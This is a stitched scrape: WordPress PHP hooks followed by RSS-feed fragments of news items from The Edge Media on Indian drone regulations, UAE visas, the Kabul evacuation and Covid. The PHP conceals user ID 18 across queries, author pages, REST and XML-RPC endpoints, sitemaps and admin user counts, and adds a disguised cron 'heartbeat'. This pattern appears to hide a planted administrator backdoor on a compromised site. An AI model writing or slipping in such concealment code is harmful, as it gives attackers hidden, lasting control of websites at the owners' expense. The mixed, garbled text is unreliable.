add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>Unless exempted, drones now require identification numbers. According to the notification, a unique identification number for the drone can be generated by entering the required information on the digital sky platform.
As per the government, the guidelines have eliminated the need for different clearances, such as certificate of conformity, certificate of maintenance, import clearance, acceptance of existing drones, operator licenses, authorization of R&D organizations, and student remote pilot licenses.
The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>The post Tourist Visas for Indians are allowed in the UAE on a Conditional Basis appeared first on The Edge Media.
]]>After placing travel restrictions on Indians in April-end, at the height of the deadly second Covid outbreak, the UAE has been gradually opening up to Indians. It has been steadily permitting more categories of visitors from India in recent weeks. Visitors should verify the latest requirements before planning a trip these days, as admission rules change regularly during Covid.
The post Tourist Visas for Indians are allowed in the UAE on a Conditional Basis appeared first on The Edge Media.
]]>The post 150 Indians Arrive at Kabul Airport After Being Questioned by the Taliban; Are Safe appeared first on The Edge Media.
]]>A top government official said Indian citizens waiting outside Kabul airport for evacuation planes were escorted to a neighboring police station for questioning and travel document checks, amid accusations in the local media that they had been abducted.
The Taliban’s ‘picking up’ of Indian citizens comes hours after an Air Force transport aircraft managed to evacuate around 85 Indians from Kabul; the plane has landed safely in Tajikistan, sources said, adding that a second aircraft is on standby in India. India has evacuated all embassy staff but an estimated 1,000 citizens remain in several Afghan cities and ascertaining their location and condition is proving to be a challenge.
The post 150 Indians Arrive at Kabul Airport After Being Questioned by the Taliban; Are Safe appeared first on The Edge Media.
]]>The post Pakistan’s Prime Minister Imran Khan message to Indians appeared first on The Edge Media.
]]> In the same day, more than 2,600 people lost their lives.
Here the second train of Oxygen Express has reached Lucknow. 25 patients died of oxygen deficiency at Jaipur Golden Hospital in Delhi. The Oxygen Express arrives in Nashik, Maharashtra.
Here the neighboring countries have joined the war due to the epidemic. The Government of Pakistan and the Bhutan have wished the situation to recover soon.
People were seen standing in long lines outside Mumbai’s BKC Jumbo Vaccination Center.
Pakistan’s Prime Minister Imran Khan has issued a message of solidarity to the people fighting the war against the dangerous wave of Corona virus in India. Imran Khan said that we wish the situation in our neighboring country and the world better as soon as possible.
ADG DJ Narayan of the Indian Railways said that it would take more than three days to carry oxygen by truck from Visakhapatnam to Maharashtra, whereas it would take only two days from the railway side.
The post Pakistan’s Prime Minister Imran Khan message to Indians appeared first on The Edge Media.
]]>